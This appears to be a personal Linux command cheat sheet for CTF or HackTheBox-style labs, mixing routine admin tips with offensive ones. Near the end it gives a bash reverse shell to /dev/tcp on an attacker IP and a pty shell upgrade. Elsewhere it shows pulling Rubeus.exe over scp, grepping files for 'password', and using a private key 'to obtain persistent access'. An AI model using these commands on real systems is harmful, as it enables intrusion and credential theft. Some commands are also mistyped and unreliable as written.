Usefull command's
To enable SSH on your Linux box, you can use the following command:
sudo systemctl enable ssh
sudo systemctl start
Output transformation with cut
#the '' sets the delimiter and fX displays the value before the delimiter
cut-d '"'-f2 access.log
sudo sh -c "echo 'STMIP inlanefreight.htb' >> /etc/hosts"
python3 -m http.server
DNS issues
sudo nano /etc/resolv.conf
# add the following line
nameserver 8.8.8.8
sudo systemctl restart NetworkManager
sudo chown root:root /etc/resolv.conf
sudo chmod 644 /etc/resolv.conf
Change Java version
update-java-alternatives --list
sudo update-java-alternatives --set /path/to/java/version
Other useful Bash commands
Search Specific Keyword
Search a specific keyword within files:
grep -iRl "password"
Start HTTP Server
Start a simple HTTP server on a specified port (example: port 4444):
python3 -m http.server 4444 sudo php -S 0.0.0.0:4444
Change Keyboard Language
Change keyboard language to Belgian (be):
setxkbmap be
Add Entry to /etc/hosts
Add an entry in one line to
/etc/hosts
:sudo echo "10.129.195.8 ignition.htb" | sudo tee -a /etc/hosts sudo sh -c "echo 'STMIP inlanefreight.htb' >> /etc/hosts"
Save Output to File
Save a string to a file:
echo "output" > file.txt
Capture Network Traffic
Start capturing network traffic on a specified interface (example: tun0) and port (example: 389):
tcpdump -i tun0 port 389
Show User Accounts and Groups in Linux
Display all user accounts and their groups in Linux:
cat /etc/passwd | awk -F ':' '{print $1}' | xargs -L1 id
Download File via SSH with SCP
Download a file from a remote server using SCP with specified port (example: 22):
scp -P 22 administrator@10.10.187.117:C:/Users/Administrator/Downloads/Rubeus.exe /home/kali/kerberos
Upload File via SSH with SCP
Upload a file to a remote server using SCP:
scp /path/to/local/file username@hostname:/path/to/remote/file
Connect Using Private Key via SSH
Connect to a remote server using a private key:
ssh -i rsaroot root@10.200.73.200
Change Permission on Private Key File
Change mode on
id_rsa
to obtain persistent access:chmod 600 id_rsa
Search for a File in Linux
Search for a specific file from the current directory:
find -name RootFlag210.txt
List All Files Including Hidden Ones
List all files including hidden files:
ls -al
Get a Functional Shell After Reverse Shell
Obtain a functional shell after gaining a reverse shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Start HTTP Server on Port 80
Start a simple HTTP server on port 80:
python3 -m http.server 80
Get Open Listening Ports on Linux
Get open listening ports on Linux:
ss --tln
Access Web Page with Curl
Access a webpage with curl:
curl -v http://address.TLD
If Kali Shows Black Screen
Run filecheck in console mode and fix filesystem issues:
fsck /dev/sda2
Task Manager Alternatives
Use task manager alternatives like
ftop
,btop
,htop
:htop
Find Files with FZF
Find files interactively using
fzf
:fzf
Display User Information
Show UID, GID, and groups information of the current user:
id
Get Info on Linux Command
Get a simpler explanation of a Linux command using
tldr
:tldr curl
DNS Settings
Show DNS settings from the network manager:
nmcli dev show
Add User to Group
Add your user to the
vboxsf
group in a guest VM to access shared drives:sudo adduser your-user vboxsf
Edit GRUB Configuration
Add "mitigations=off" to the Linux command line in GRUB configuration:
sudo nano /etc/default/grub # Add "mitigations=off" into CMDLINE_LINUX
Create a more stable shell after getting a reverse shell
bash -c "bash -i >& /dev/tcp/{your_IP}/443 0>&1"
Last updated